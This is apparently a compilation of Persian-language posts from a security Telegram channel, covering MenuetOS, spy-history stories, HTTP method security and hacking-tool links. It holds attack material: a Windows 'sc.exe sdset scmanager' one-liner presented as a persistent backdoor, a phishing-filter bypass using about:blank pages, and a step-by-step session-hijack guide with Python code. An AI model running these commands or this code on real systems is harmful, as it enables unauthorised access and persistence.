💾 MenuetOS
یک سیستم‌عامل که روی فلاپی دیسک نصب می‌شود.

• بیایید درباره یک سیستم‌عامل صحبت کنیم که از سال 2005 وجود دارد و حجم آن به قدری کم است که روی فلاپی دیسک می‌شود. همان‌طور که ویکی‌پدیا می‌گوید، MenuetOS نه بر پایه Unix و نه بر اساس استاندارد POSIX و یا هر سیستم‌عامل دیگری ساخته شده است؛ هدف این پروژه حذف سطوح اضافی بین بخش‌های مختلف سیستم‌عامل است که معمولاً برنامه‌نویسی را پیچیده و باعث بروز باگ می‌شوند.

• این سیستم‌عامل برای نوشتن برنامه‌ها به زبان اسمبلی 32 بیتی و 64 بیتی x86 طراحی شده است، زیرا در نتیجه، برنامه‌ها معمولاً سریع‌تر، فشرده‌تر و کمتر به منابع نیاز دارند.

• اینجا ویژگی‌های اصلی سیستم آمده است:

- قابلیت چند وظیفه ای (Multitasking) ، Multithreading ، Ring-۳ protection
- رابط گرافیکی (رزولوشن تا 1920 × 1080، 16 میلیون رنگ)؛
- پنجره‌های برنامه به شکل دلخواه، شفافیت و تنظیم‌پذیری با استفاده از شل ها، قابلیت کشیدن و رها کردن؛
- نرم‌افزارهای درون‌ساخت: ویرایشگر گرافیکی Draw، پخش‌کننده رسانه MediaPlayer، مرورگر (از توسعه‌دهندگان MenuetOS)، کلاینت FTP، برنامه مدیریت ایمیل، Necromancer's Dos Navigator (معادل «مدیر فایل»)، توانایی اجرای بازی‌ها از طریق شبیه‌سازی DOS؛
- محیط توسعه یکپارچه: ویرایشگر، ماکرو اسمبلی برای ساخت هسته و برنامه‌ها؛
- TCP/IP Stack با قابلیت Loopback ،راه اندازهای (Deriver) PPP و Ethernet
- برنامه‌های شبکه شامل سرورهای FTP/HTTP/SMTP و کلاینت‌های IRC/HTTP/NNTP/TFTP؛
- انتخاب داده‌ها به‌صورت واقعی؛
- روی یک دیسک در حالت فشرده‌نشده جا می‌شود؛
- برای راه‌اندازی MenuetOS فقط به 16 مگابایت حافظه و کارت گرافیکی با پشتیبانی از استانداردهای VESA 1.2 یا 2.0 نیاز است، با این حال از 32 گیگابایت حافظه رم پشتیبانی می‌کند؛

• خوب است، نه؟ و همه این‌ها در حجم دیستری‌بیوشلی که در سال 2024 به نظر غیرممکن کوچک می‌آید. توسعه‌دهندگان به‌طور مداوم بر روی پروژه نظارت دارند، آن را رها نکرده و به‌طور دوره‌ای به‌روزرسانی می‌کنند. و برای علاقه‌مندان به آشنایی با MenuetOS، یک تصویر ISO آماده شده است که می‌توان آن را روی فلش درایو و در هر جای دیگری کرد.

• راستی، لازم است به سازگاری سیستم‌عامل با تعداد زیادی از لوازم جانبی نسبتاً مدرن، گسترش‌ها و غیره برای کامپیوترها اشاره کنیم. این شامل کیبوردها، ماوس‌ها، وب‌کم‌ها، پرینترها، اسکنرها و دستگاه‌های شبکه است. سیستم‌عامل از USB 2.0 پشتیبانی می‌کند و می‌توان به اینترنت دسترسی پیدا کرد به‌لطف‌پشتیبانی از اترنت. به طور کلی، همه شرایط برای کار و بازی (البته به سبک رترو) فراهم است.

http://www.menuetos.net
@TryHackBox

Bypassing Anti-Phishing Filters Using Spoofing

فیلترهای ضد فیشینگ که برای شناسایی صفحات فیشینگ تنها به URL موجود در نوار آدرس متکی هستند، ممکن است در صورت آسیب‌پذیری جعل نوار آدرس، چنین صفحاتی را شناسایی نکنند. از آنجایی که این فیلترها به اطلاعات مبدا از نوار آدرس بستگی دارند، می توانند توسط یک URL جعلی فریب داده شوند. در نتیجه، اگر مرورگر URL جعلی را در نوار آدرس حفظ کند، این فیلترهای ضد فیشینگ آن را قانونی تلقی می کنند.

همچنین فریب فیلترهای ضد فیشینگ حتی در مرورگرهای مدرنی که در برابر آسیب پذیری جعل نوار آدرس آسیب پذیر نیستند، امکان پذیر است. این به این دلیل است که چندین مرورگر مدرن زمانی که کاربر سعی می‌کند به جای حفظ URL، محتوا را در یک پنجره جدید بنویسد، نوار آدرس را به "about:blank" به‌روزرسانی می‌کنند تا از آسیب‌پذیری‌های جعل نوار آدرس جلوگیری کنند.

با این حال، این اقدام متقابل می تواند برای فریب فیلترهای ضد فیشینگ با باز کردن یک پنجره جدید و نوشتن محتوا در یک صفحه "about:blank" استفاده شود. 
در نتیجه، هنگامی که یک فیلتر ضد فیشینگ با "about:blank" مواجه می شود، نمی تواند اعتبار سایت را بررسی کند، که منجر به دور زدن می شود. برای نشان دادن، کد زیر را در نظر بگیرید:

شکل 1.13 جعل نوار آدرس در مرورگر سافاری.
T.H.B

کد "about:blank" را در یک پنجره جدید باز می کند و یک نسخه کدگذاری شده با پایه 64 از یک صفحه فیشینگ را در صفحه وب می نویسد. محتوای کدگذاری شده با base64 در زمان اجرا رمزگشایی شده و در صفحه وب نوشته می شود.

EXTRA MILE

آسیب پذیری های امنیتی HTTP/2: پروتکل HTTP/2 و انواع جدیدی از مسائل امنیتی را که معرفی می کند کاوش کنید. تیم تحقیقاتی PortSwigger منابع جامعی در مورد این موضوع ارائه کرده است [ https://portswigger.net/research/http2 ].

@TryHackBox

شکل 1.14 دور زدن حفاظت مرورگر Microsoft Defender

شکل 1.15 محافظ مرورگر MalwareBytes.

SOP Exceptions:
دانش خود را در مورد SOP Exceptions و مسائل امنیتی بالقوه ای که در صورت عدم استفاده صحیح ممکن است ایجاد شود، افزایش دهید.

Cookie Tossing Vulnerability:

عواقب کوکی tossing را به غیر از تثبیت جلسه و نحوه استفاده از آنها بررسی کنید.

Cookie Attacks:

محقق امنیتی Filedenoscriptor تحقیقات کاملی در مورد تفاوت‌های ظریف کوکی‌ها و نحوه استفاده از آن‌ها انجام داده است.
مهاجمان عنوان ارائه " کوکی در شما
مرورگر» [ https://hitcon.org/2019/CMT/slide-files/d1_s3_r0.pdf ].

Address Bar Spoofing Vulnerabilities:

انواع مختلف آدرس را کاوش کنید
آسیب پذیری های جعل نوار برای تجزیه و تحلیل دقیق تر، می توانید پیدا کنید
نوشته های متعدد در rafaybaloch.com .

@TryHackBox

Pentest GPT

دستیار هوش مصنوعی که می تواند ابزارهای مختلف #pentest را اجرا کند. به صورت رایگان در دسترس است:

- CVEMap
- زیر دامنه یاب
- لینک یاب
- آشکارساز WAF
- جستجوی Whois


دستورات ترمینال Nuclei، SQLi Exploiter، Katana و Linux در نسخه PRO موجود هستند.

pentestgpt.ai
@TryHackBox

📌 جاسوسی‌های سایبرنتیک KGB - من به اطلاعات دشمن دسترسی دارم، پس هستم.

در سال 1986 یک مدیر سیستم در آزمایشگاه ملی لارنس برکلی واقع در کالیفرنیا متوجه یک نفوذ شد، این فرد کلیف استال نام داشت که یک اخترشناس بود و به عنوان یک مهندس سیستم در آزمایشگاه ملی لارنس برکلی کار می‌کرد. این فرد به شکلی عجیب متوجه اختلاف 75سنتی شده بود و از نظر او بعید به نظر می‌رسد که این اتفاق یک خطای حسابداری باشد، زیرا این اختلاف نشان‌دهنده این بود به مدت 9 ثانیه از منابع سیستم آزمایشگاه استفاده شده است.

پس از بررسی‌هایی که او انجام داد متوجه شد علاوه بر اینکه یک هکر سیستم‌های آزمایشگاه را مورد نفوذ قرار داده است، دسترسی superuser نیز دست یافته است. پس از آن استال فعالیت‌های مهاجم را از طریق شبکه آزمایشگاه ردیابی کرد و متوجه شد که مهاجم از یک اتصال با سرعت 1200Baud استفاده می‌کرده است. او با بررسی‌هایی که انجام داد، دریافت که این اتصال از طریق یک مرکز تماس واقع در مک لین ویرجینیا برقرار شده است.

از نظر استال بعید بود که از یک مرکز تماس حمله شروع شده باشد، اون احتمال داد مهاجم از مرکز تماس به عنوان یک پروکسی استفاده کرده است تا هنگامی که حمله شناسایی شد، بنظر برسد از مرکز تماس این حمله انجام شده  است. استال با کمک همکارانش چند ترمینال و یک teleprinter را به بخشی از شبکه آزمایشگاه جایی که مهاجم بیشتر علاقه را به آن نشان داده بود، وصل کرد. استال قصد داشت با استفاده از این تجهیزات به هدف خود یعنی ردیابی و چاپ لاگ فعالیت‌های مهاجم دست یابد که در نهایت استال اکنون می‌توانست تمامی فعالیت‌های مهاجم را مستند کند.

حالا استال فقط باید منتظر می‌ماند تا شوهد کافی مبنی بر وجود هر چیز مخربی که در سیستم‌ها و شبکه‌های حساس ازمایشگاه پیدا کند تا از آن برای متقاعد کردن مجریان قانون، دولت و... استفاده کند. استال در تلاش  بود بفهمد که انگیزه مهاجم از نفوذ چه بود. با این سیستم ساده نظارت شبکه ایی که استال راه‌اندازی کرده بود، متوجه شد مهاجم بدنبال اصلاحات مرتبط با نظامی و  دفاعی است که در آن برهه زمانی فقط برای یک کشور اهمیت داشت. شایان ذکر است، فناوری‌های شبکه آن زمان در مراحل ابتدایی خود بودند و ارتش ایالات متحده از این فناوری برای مدیریت سیستم‌های مهم و همچنین نگهداری اطلاعات حساس مربوط به ماهواره‌ها و محل ایستگاه‌های موشکی استفاده می‌کرد. 

شایان ذکر است شبکه آزمایشگاه نیز داخل این شبکه بود که بدین معناست با هک ازمایشگاه می‌توان به اسناد و اطلاعات حساس نظامی دست یافت. مهاجم در حال جستجوی اصطلاحات مرتبط با دفاع،‌ استال مشاهده کرد که مهاجم یک بدافزار بر روی سیستم‌های ازمایشگاه اجرا کرده که وظیفه آن کپچر کردن کردنشیال‌های کاربران بود.

همچنین بسیاری از حساب‌های مدیریتی در آزمایشگاه از رمزعبورهای پیشفرض که هنگام تولید تعیین شده استفاده می‌کردند و بدتر از آن بدون وارد کردن رمز عبور مهاجم می‌توانست به سیستم اکانت‌های guest وارد شود، زیرا حساب‌های guest فاقد هرگونه رمز عبوری بودند. پس از گذشت مدتی استال موفق شد اطلاعات دقیقی درباره مهاجم را جمع‌آوری کند که شامل رفتارها، اقدامات، زمان فعالیت مهاجم، زبان برنامه‌نویسی و سیستم‌عامل‌هایی که مهاجم از آن استفاده می‌کرد،  شناسایی کند. همچنین استال میدانست که مهاجم به اطلاعات مرتبط با SDI علاقه دارد. این مسئله سبب شد، استال یک نقشه برای بدست آوردن شواهد و مدارکی مبنی وجود مهاجم و در گام بعد دست داشتن شوروی در این حمله بدست آورد.

استال یک حساب با نام SDInet ایجاد کرد و اسناد ساختگی را در دایرکتوری home قرارداد و در نهایت مهاجم طعمه را گاز زد. استال با کمک مقامات توانستند مهاجم را شناسایی کنند نام مهاجم مارکوس هس بود، این مرد ساکن هانوفر آلمان بود و شایان ذکر است این مرد بعنوان یک عامل استخدام شده توسط KGB عملیات های هکینگ را به نمایندگی از اتحاد جماهیر شوروری انجام میداد.

پ.ن: مارکوس هس همراه با دیرک برزینسکی و پیتر کارل به شبکه های کامپیوتری نظامی و صنعتی در آمریکا، اروپا و شرق آسیا نفوذ می کردند و اطلاعات را به قیمت 54 هزار دلار به KGB می‌فروختند. در برخی از بازه‌های زمانی که هس برای KGB کار می‌کرد به 400 کامپیوتر نظامی آمریکا نفوذ کرده که شامل اطلاعات مرتبط با فناوری‌های حساس Semiconductor، ماهواره‌ایی، فضایی و هواپیمایی بوده است.

✍️ نویسنده محمد مهدی انبارکی


@TryHackBoxStory

در HTML متدهای متداولی وجود دارند که برای ارسال داده‌ها بین مرورگر و سرور استفاده می‌شوند. از جمله این متدها می‌توان به GET و POST اشاره کرد. این دو متد بیشتر در فرم‌های HTML برای ارسال داده‌ها به سرور کاربرد دارند.
در ادامه، به بررسی این متدها و نکات امنیتی مرتبط با آن‌ها از دیدگاه یک متخصص امنیت و نفوذگر (هکر) می‌پردازم:

1. متد GET
متد GET یکی از متدهای HTTP است که برای دریافت داده از سرور استفاده می‌شود. اطلاعاتی که توسط این متد ارسال می‌شوند، در URL مرورگر قابل مشاهده هستند. به عنوان مثال:
example.com/page?name=John&age=30
داده‌های ارسالی از طریق GET در قالب پارامترهای URL هستند.
دیدگاه امنیتی متد GET:
1) رصد شدن داده‌ها: از آنجایی که داده‌ها در URL قابل مشاهده هستند، می‌توانند به راحتی توسط افراد دیگر یا از طریق تاریخچه مرورگر مشاهده شوند.
2) محدودیت طول: URL‌ها دارای محدودیت طول هستند، بنابراین استفاده از GET برای ارسال داده‌های حجیم مناسب نیست.
3) استفاده از HTTPS: اگر از پروتکل HTTP استفاده شود، داده‌های ارسال شده در GET می‌توانند توسط حملات Man-in-the-Middle (MiTM) دزدیده شوند.
4) تزریق URL (URL Injection): نفوذگران ممکن است تلاش کنند تا پارامترهای مخرب را از طریق URL تزریق کنند تا به داده‌های حساس دسترسی پیدا کنند یا حملات دیگری مانند XSS را انجام دهند.

2. متد POST
متد POST نیز یکی از متدهای HTTP است که برای ارسال داده‌ها به سرور استفاده می‌شود. برخلاف GET، داده‌های ارسال شده از طریق POST در بدنه (Body) درخواست قرار می‌گیرند و در URL قابل مشاهده نیستند.
این متد معمولاً برای ارسال داده‌های حساس یا بزرگ استفاده می‌شود.
دیدگاه امنیتی متد POST:
1) مخفی بودن داده‌ها: داده‌های ارسال شده از طریق POST در URL نمایش داده نمی‌شوند، که این امر می‌تواند امنیت را بهبود بخشد.
2) حملات CSRF: نفوذگران می‌توانند از حملات Cross-Site Request Forgery (CSRF) استفاده کنند تا درخواست‌های ناخواسته‌ای را از طرف کاربران به سرور ارسال کنند. استفاده از توکن‌های CSRF می‌تواند جلوی این حملات را بگیرد.
3) تزریق SQL و XSS: اگر داده‌های ارسال شده از طریق POST به درستی فیلتر و پاکسازی نشوند، نفوذگران می‌توانند حملات تزریق SQL یا XSS را انجام دهند.

3. متدهای دیگر
متد PUT: برای به‌روزرسانی یک منبع موجود در سرور استفاده می‌شود.
متد DELETE: برای حذف یک منبع از سرور استفاده می‌شود.
متد HEAD: مشابه GET است، اما فقط هدرهای HTTP را دریافت می‌کند و محتوا را دریافت نمی‌کند.

دیدگاه کلی امنیتی
1) ورودی‌های کاربر: همیشه باید ورودی‌های کاربر را قبل از پردازش فیلتر و اعتبارسنجی کرد تا از حملات تزریقی جلوگیری شود.
2) استفاده از HTTPS: استفاده از HTTPS برای رمزگذاری داده‌های ارسال و دریافت شده، می‌تواند از سرقت اطلاعات توسط نفوذگران جلوگیری کند.
3) پیکربندی درست سرور: اطمینان از پیکربندی صحیح سرور و استفاده از فایروال‌ها و ابزارهای امنیتی برای محافظت در برابر حملات مختلف ضروری است.

در نهایت، هر متدی که برای ارسال و دریافت داده‌ها استفاده می‌شود باید با دقت و توجه به نکات امنیتی پیاده‌سازی شود تا از بروز مشکلات امنیتی جلوگیری شود.
@TryHackBox

📌شب‌گردی مخوف: جزئیات هولناک عملیات جاسوسی سایبری Moonlight Maze - بخش دوم

پس از اینکه FBI دریافت که قربانیان به شکل آگاهانه در سرقت کردنشیال‌ها دست نداشتند، سبب شد FBI مطمئن شود که قربانیان در حمله نقشی نداشتند. کارگروه مشترک تمرکز خود را بر شواهد سایبری گذاشت و لاگ‌های سیستم‌های قربانیان دانشگاهی را برای تجزیه و تحلیل جمع‌آوری کرد.

در 29 جولای 1998، نماینده سازمان تحقیقات کارولینای جنوبی (SCRA) با یکی از مأموران کارگروه Moonlight Maze تماس گرفت. نماینده SCRA ادعایی مبنی بر مورد حمله قرار گرفتن توسط مهاجمی ناشناس که از روسیه نشأت گرفته است داشت. بنظر می‌رسید این مهاجم با استفاده از زیرساخت SCRA به یک کامپیوتر در پایگاه هوایی Wright Patterson متصل شده است.

اینجا دقیقا نقطه‌ای بود که FBI در انتظار آن بود. SCRA متوجه شده بود که مورد حمله قرار گرفته است و جزئیاتی از انتقال فایل‌ها از پایگاه هوایی Wright Patterson و SCRA به یک کامپیوتر مستقر در روسیه بدست آورد. لاگ‌ها حاوی جزئیاتی درباره فایل‌های سرقت شده و اتصالات بودند که موجب بدست آوردن بینش‌هایی از اهداف مهاجم می‌شد. مهاجم بدنبال نمودارهای مهندسی و تحقیقاتی در مورد فناوری دفاعی برای تشخیص و مقابله با موشک‌های بالستیک قاره‌پیما (هسته‌ای) بود. شایان ذکر است این داده‌ها از آمریکا در مقابل حملات موشکی محافظت می‌کردند.

در ژانویه 1999، یکسری نقض جدید در آزمایشگاه ملی Brookhaven، وزارت دفاع (DOD) و چندین سیستم وزارت دفاع واقع در ویکسبورگ می‌سی‌سی‌پی رخ داد. وزارت دفاع یک هانی‌پات مشابه آنچه که در برکلی ایجاد شده بود راه‌اندازی کرد. بر اساس گزارش‌های رسمی، وزارت دفاع در هانی‌پات یک سند که در آن کد ردیاب جاسازی شده بود توانست مکان واقعی مهاجم را ردیابی کند. در نهایت، وزارت دفاع آمریکا با بررسی‌هایی که انجام داد متوجه شد فایل‌های سرقت شده به یک آدرس IP که مرتبط با آکادمی علوم روسیه بود منتقل شده‌اند. شایان ذکر است آکادمی علوم روسیه مرتبط به دولت و ارتش روسیه است.

مدتی پس از وقوع این حوادث، رسانه‌ها از این داستان مطلع شدند و گزارش‌های برنامه خبری شبانه ABC و نیویورک تایمز به جزئیات حملات چند ساله پرداختند. این خبرگزاری‌ها این حادثه را به‌عنوان مجموعه‌ای از ابتکارات انجام شده توسط یک کشور به‌جهت سرقت اطلاعات حساس از آمریکا طی سال‌های متمادی معرفی کردند. پس از اینکه این حمله توسط رسانه‌های جهانی اعلام شد که این حملات توسط روسیه انجام شده‌اند، با این حال مهاجمین به کار خود ادامه دادند و عملیات خود را گسترش دادند و اهداف جدیدی را مورد حمله قرار دادند که سبب شد عملیات گسترده‌تر از پیش شود. مدتی بعد مهاجم روسی به دو آزمایشگاه تحقیقاتی وابسته به وزارت دفاع نفوذ کردند.

در نهایت، این کمپین جاسوسی فعالیتش پایان یافت و در 2 آوریل 1999 مأموران FBI عازم مسکو شدند تا با پرسنل ارشد نظامی در مقر وزارت دفاع روسیه دیدار کنند. مأموران FBI داده‌ها و یافته‌هایشان را به روس‌ها ارائه دادند و مأموران FBI شواهدی را ارائه کردند که نشان می‌داد این حملات از سرورهای وابسته به آکادمی علوم روسیه نشأت گرفته‌اند. روز بعد، مأموران FBI هتل خود را ترک کرده و در حال رفتن به مقر وزارت دفاع روسیه بودند که به ادامه مذاکرات بپردازند که اسکورت روسی مسیر آنها را تغییر داد و آنها را به یک گردش اجباری برد.

چند روز گذشت و مشخص شد روس‌ها علاقه‌ای به مذاکره و همکاری با مأموران FBI ندارند و در نهایت مأموران FBI به کشور خود بازگشتند. مأموران FBI عملاً دست خالی به کشور خود بازگشتند اما بیخیال نشدند و با پشتکار و تحلیل‌های قوی توانستند زیرساخت، ابزارها، اکسپلویت و کدهای مخرب مرتبط با Moonlight Maze را کشف و شناسایی کنند که در نهایت FBI به شواهدی رسید که احتمال دست داشتن دولت روسیه در این حملات را تأیید می‌کرد.

@TryHackBoxStory

GitHub - target/strelka:

اسکن فایل در زمان واقعی و مبتنی بر کانتینر در مقیاس سازمانی

https://github.com/target/strelka

@TryHackBox/

Sploit Pro
- ابزار هک

یک ابزار هک با هدف عمومی است که در پایتون برای بهره برداری از راه دور دستگاه های اندرویدی با استفاده از ADB و Metasploit-Framework for Meterpreter session نوشته شده است.

این ابزار می‌تواند به‌طور خودکار با استفاده از Metasploit-Framework و ADB، payload را روی دستگاه مورد نظر ایجاد، نصب و اجرا کند تا در صورتی که دستگاه دارای پورت ADB TCP 5555 باز باشد، دستگاه اندرویدی را با یک کلیک به طور کامل جیلبریک کند.

- هدف از این پروژه ساده کردن تست نفوذ در دستگاه های اندرویدی است.

https://github.com/AzeemIdrisi/PhoneSploit-Pro
#Android #Sniffing
@TryHackBox

#vim
به شما این امکان را می دهد که هنگام جایگزینی یک الگو از هر نوع جداکننده عبارت منظم استفاده کنید.

نیازی به استفاده از / نیست، در عوض # امتحان کنید:


:s#/usr/local/bin#/usr/sbin#g
@TryHackBox

👀 بکدور تقریبا نامرئی! (پایدار، بدون فایل)

sc.exe sdset scmanager D:(A;;KA;;;WD)

👁‍🗨 این دستور تنظیمات امنیتی سرویس کنترل منیجر (SCM) ویندوز را به‌گونه‌ای تغییر می‌دهد که به تمام کاربران (از جمله کاربران غیرادمین) اجازه دسترسی کامل به مدیریت سرویس‌های ویندوز را می‌دهد

⚙ نحوه عملکرد:
🔴 sdset:
(Security Denoscriptor)
🔘 این توصیفگر یک مجموعه از قوانین است که مشخص می‌کند چه کسانی به یک شیء در ویندوز (در این مورد SCM) دسترسی دارند و این دسترسی از چه نوعی است

🔴 scmanager:
[Service Control Manager (SCM)]
🔘 این بخش از ویندوز مسئول مدیریت سرویس‌ها است، یعنی سرویس‌هایی که به‌صورت خودکار با شروع ویندوز اجرا می‌شوند، یا سرویس‌هایی که توسط نرم‌افزارها در حین اجرای ویندوز راه‌اندازی می‌شوند.

🔴 D:(A;;KA;;;WD)
🔘 این بخش بیان می‌کند که همه کاربران (WD که به معنای "World" است) دسترسی کامل (KA - Key All Access) به سرویس کنترل منیجر دارند.

🔻 با اعمال این تغییر، هر کاربری روی سیستم (حتی کاربران محدود) می‌تواند سرویس‌ها را شروع، متوقف یا تغییر دهد

🔺 این یعنی یک مهاجم می‌تواند از این دسترسی بدون نیاز به فایل‌های اضافی برای اجرای بدافزارها، تغییر تنظیمات سیستم یا راه‌اندازی سرویس‌های مخرب بدون نیاز به دسترسی ادمین استفاده کند و یک راه نفوذ دائمی (backdoor) ایجاد کند

@TryHackBox

Revival Hijack Attack چیست ؟

یک نوع حمله در حوزه امنیت شبکه است که در آن مهاجم تلاش می‌کند یک جلسه (Session) قدیمی و منقضی شده را احیا کند.

در این حمله، مهاجم ابتدا یک جلسه قدیمی را که قبلاً توسط کاربر یا برنامه ایجاد شده است، شناسایی می‌کند. سپس، مهاجم تلاش می‌کند تا با استفاده از اطلاعات جلسه قدیمی، یک جلسه جدید و معتبر ایجاد کند.

این حمله می‌تواند در مواردی رخ دهد که یک برنامه یا وب‌سایت از Mechanism‌های امنیتی ضعیفی برای مدیریت جلسات خود استفاده کند. به عنوان مثال، اگر یک برنامه از یک Session ID ثابت و بدون تغییر برای یک جلسه استفاده کند، مهاجم می‌تواند با شناسایی این Session ID، جلسه قدیمی را احیا کند.

Revival Hijack attack
می‌تواند منجر به دسترسی غیرمجاز به اطلاعات حساس و همچنین انجام عملیات‌های غیرمجاز شود.

حمله revival hijack چگونه انجام می شود؟

من می توانم یک نمای کلی از مراحل مربوط به حمله Revival Hijack :
با این حال، لطفا توجه داشته باشید که این فقط برای اهداف آموزشی است و نباید برای فعالیت های مخرب استفاده شود.

مرحله 1: یک برنامه یا وب سایت آسیب پذیر را شناسایی کنید

یک برنامه وب یا وب سایتی پیدا کنید که از مکانیزم مدیریت جلسه ضعیف استفاده می کند، مانند:

* استفاده از شناسه جلسه ثابت یا predictable
* پس از خروج کاربر، جلسات را به درستی باطل نمی کند
* عدم استفاده از پروتکل های امن برای مدیریت جلسه (به عنوان مثال، HTTPS)

مرحله 2: یک شناسه جلسه معتبر دریافت کنید

از ابزاری مانند Burp Suite یا ZAP برای رهگیری و تجزیه و تحلیل مدیریت جلسه برنامه استفاده کنید. همچنین می توانید سعی کنید یک شناسه جلسه معتبر از طریق:

* ورود به برنامه و گرفتن شناسه جلسه
* استفاده از شناسه جلسه از تلاش قبلی برای ورود به سیستم
* حدس زدن یا brute-forcing شناسه جلسه (اگر برنامه از مکانیزم تولید شناسه جلسه ضعیف استفاده می کند)

مرحله 3: فرمت ID جلسه را شناسایی کنید

قالب ID جلسه را تجزیه و تحلیل کنید تا بفهمید چگونه ساخته شده است. این ممکن است شامل موارد زیر باشد:

* شناسایی طول ID جلسه و مجموعه کاراکترها
* تعیین اینکه ID جلسه بر اساس یک الگو یا الگوریتم خاص است

مرحله 4: یک جلسه جدید با همان شناسه ایجاد کنید

از شناسه جلسه به دست آمده برای ایجاد یک جلسه جدید با همان شناسه استفاده کنید. این می تواند توسط:

* تغییر شناسه جلسه در کوکی ها یا هدرهای برنامه
* استفاده از ابزاری مانند Burp Suite یا ZAP برای تزریق شناسه جلسه به درخواست های برنامه

مرحله 5: جلسه جدید را اعتبار سنجی کنید

تأیید کنید که جلسه جدید معتبر و کاربردی است:

* بررسی اینکه آیا برنامه جلسه جدید را تشخیص می دهد یا خیر
* بررسی اینکه آیا جلسه جدید دارای امتیازات و دسترسی مشابه با جلسه اصلی است

⚠️ نکته مهم:

حملات Revival Hijack فعالیت های مخرب تلقی می شوند و نباید بدون اجازه و مجوز مناسب از صاحبان برنامه انجام شوند. علاوه بر این، این بردار حمله اغلب با اقدامات امنیتی مدرن برنامه های وب، مانند مدیریت جلسه امن و HTTPS، کاهش می یابد.

⭕ استفاده غیر قانونی از تمامی آموزش های کانال ، مسئولیت آن به عهده خود کاربر است ما هیچ مسئولیتی در قبال آن نداریم و نمیپذیریم

@TryHackBox

یک نمای کلی از نحوه انجام یک حمله Revival Hijack با استفاده از پایتون :

⭕ با این حال، لطفا توجه داشته باشید که این فقط برای اهداف آموزشی است و نباید برای فعالیت های مخرب استفاده شود.

⚠️ سلب مسئولیت: باید تاکید کنم که حملات Revival Hijack فعالیت های مخرب تلقی می شوند و نباید بدون اجازه و مجوز مناسب از صاحبان برنامه انجام شوند.

کد پایتون:

در اینجا مثالی از نحوه انجام یک حمله Revival Hijack با استفاده از پایتون با کتابخانه requests آورده شده است:

import requests

# Define the target application's URL and session ID
url = "https://example.com/login"
session_id = " WeakSessionID123"

# Define the headers and cookies for the request
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.8",
    "Accept-Encoding": "gzip, deflate, br"
}
cookies = {
    "session_id": session_id
}

# Send a request to the application with the stolen session ID
response = requests.get(url, headers=headers, cookies=cookies)

# Check if the response indicates a successful session hijack
if response.status_code == 200:
    print("Session hijack successful!")
    # You can now perform actions on the application as the hijacked user
else:
    print("Session hijack failed.")

توجه :

* این کد فقط برای اهداف آموزشی است و نباید برای فعالیت های مخرب استفاده شود.
* متغیر session_id باید با یک شناسه جلسه معتبر که از برنامه تارگت گرفته شده است جایگزین شود.
* متغیرهای headers و cookies باید برای مطابقت با نیازهای برنامه مورد نظر اصلاح شوند.
* این کد فرض می‌کند که برنامه تارگت از مکانیزم تولید شناسه جلسه ضعیف استفاده می‌کند و پس از خروج کاربر، جلسات را به درستی باطل نمی‌کند.

⭕⚠️ باز هم باید تاکید کنم که حملات Revival Hijack فعالیت‌های مخرب تلقی می‌شوند و نباید بدون اجازه و مجوز مناسب از صاحبان برنامه انجام شوند.

⭕ مسئولیت استفاده غیر مجاز به عهده خود شخص می باشد ، ما هیچ مسئولیتی را بر عهده نمیگیریم

@TryHackBox

https://www.dorkgpt.com/

DorkGPT: Google Dorks
را با هوش مصنوعی ایجاد کنید

@TryHackBox